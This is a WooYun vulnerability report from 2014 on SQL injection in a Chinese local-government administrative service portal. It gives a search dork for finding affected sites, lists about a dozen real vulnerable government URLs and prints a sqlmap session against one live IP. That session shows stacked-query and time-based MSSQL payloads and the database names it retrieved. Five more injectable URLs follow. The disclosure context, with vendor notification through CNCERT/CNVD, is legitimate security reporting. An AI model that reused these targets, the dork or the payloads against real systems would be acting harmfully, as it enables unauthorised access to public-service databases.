当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088519

漏洞标题:某行政服务系统多处sql注入漏洞

相关厂商:某行政服务系统

漏洞作者: 路人甲

提交时间:2014-12-26 16:29

修复时间:2015-03-26 16:30

公开时间:2015-03-26 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-26: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-02: 细节向第三方安全合作伙伴开放
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-03-26: 细节向公众公开

简要描述:

sql

详细说明:

技术支持:邯郸市连邦软件发展有限公司 inurl:article.aspx?columntitle=


http://www.bdxzfw.cn/portal/xzsp_baodingshi/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://60.220.240.7/portal/xzsp_changzhi/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://www.gyxzfw.net/portal/xzsp_xianqu/article.aspx?columntitle=%E6%9C%BA%E6%9E%84%E8%AE%BE%E7%BD%AE
http://121.18.89.108/portal/xzsp_xianqu/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E7%94%B5%E8%AF%9D
http://www.lxxzfwzx.com/portal/xzsp_xianqu/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://www.axxzfwzx.com/portal/xzsp2/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E7%94%B5%E8%AF%9D
http://www.gjzwzx.cn/portal/xzsp3/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://www.zzxzfwzx.com/portal/xzsp2/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://www.ynxzwfw.gov.cn/portal/xzsp_yongnianxian/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://www.xsxzfwzx.com/portal/xzsp_xianqu/article.aspx?columntitle=%B4%B0%BF%DA%B5%E7%BB%B0
http://www.gbdqyw.com/portal/xzsp_xianqu/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83
http://222.222.180.76:8002/portal/xzsp_xianqu/article.aspx?columntitle=%E7%AA%97%E5%8F%A3%E5%88%86%E5%B8%83


随便举个例子

注入地址:http://60.220.240.7/portal/xzsp_changzhi/article.aspx?columntitle=%E7%A
A%97%E5%8F%A3%E5%88%86%E5%B8%83
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:54:18
[00:54:19] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\60.220.240
.7\session' as session file
[00:54:19] [INFO] testing connection to the target url
[00:54:19] [INFO] testing if the url is stable, wait a few seconds
[00:54:21] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:54:22] [INFO] testing if GET parameter 'columntitle' is dynamic
[00:54:23] [WARNING] GET parameter 'columntitle' appears to be not dynamic
[00:54:23] [WARNING] heuristic test shows that GET parameter 'columntitle' might
not be injectable
[00:54:23] [INFO] testing sql injection on GET parameter 'columntitle'
[00:54:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:54:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:54:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:54:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:54:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:54:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:54:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:54:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:54:53] [INFO] GET parameter 'columntitle' is 'Microsoft SQL Server/Sybase st
acked queries' injectable
[00:54:53] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:54:53] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:54:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:55:05] [INFO] GET parameter 'columntitle' is 'Microsoft SQL Server/Sybase ti
me-based blind' injectable
[00:55:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:55:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:55:19] [INFO] checking if the injection point on GET parameter 'columntitle'
is a false positive
GET parameter 'columntitle' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N] y
[00:55:33] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 75 HTTP(s) requ
ests:
---
Place: GET
Parameter: columntitle
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: columntitle=????'; WAITFOR DELAY '0:0:5';-- AND 'qsBw'='qsBw
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: columntitle=????' WAITFOR DELAY '0:0:5'-- AND 'aloM'='aloM
---
[00:55:33] [INFO] testing MySQL
[00:55:33] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[00:55:34] [WARNING] the back-end DBMS is not MySQL
[00:55:34] [INFO] testing Oracle
[00:55:34] [WARNING] the back-end DBMS is not Oracle
[00:55:34] [INFO] testing PostgreSQL
[00:55:35] [WARNING] the back-end DBMS is not PostgreSQL
[00:55:35] [INFO] testing Microsoft SQL Server
[00:55:40] [INFO] confirming Microsoft SQL Server
[00:55:51] [INFO] adjusting time delay to 4 seconds due to good response times
[00:55:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[00:55:51] [INFO] fetching database names
[00:55:51] [INFO] fetching number of databases
[00:55:51] [INFO] retrieved: 6
[00:56:07] [INFO] retrieved: dzjc_tunliuxian
[01:01:22] [INFO] retrieved: master
[01:03:15] [INFO] retrieved: model


第一处注入:http://60.220.240.7/portal/xzsp_changzhi/newslist.aspx?columntitle=%e4%b8%ad%e5%bf%83%e7%ae%80%e4%bb%8b
第二处注入:http://60.220.240.7/portal/xzsp_changzhi/wssb.aspx?orgid=101&org=%e5%b1%af%e7%95%99%e5%8e%bf
第三处注入:http://60.220.240.7/portal/xzsp_changzhi/lstd.aspx?orgid=214&org=%e4%bf%9d%e5%af%86%e5%b1%80&columntitle=
第四处注入:http://60.220.240.7/portal/xzsp_changzhi/zxzxInfo.aspx?id=245&columntitle=%e5%9b%9e%e9%9f%b3%e5%a3%81
第五处注入:http://60.220.240.7/portal/xzsp_changzhi/zxzxInfo.aspx?id=52&&&code=

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-12-30 14:47

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无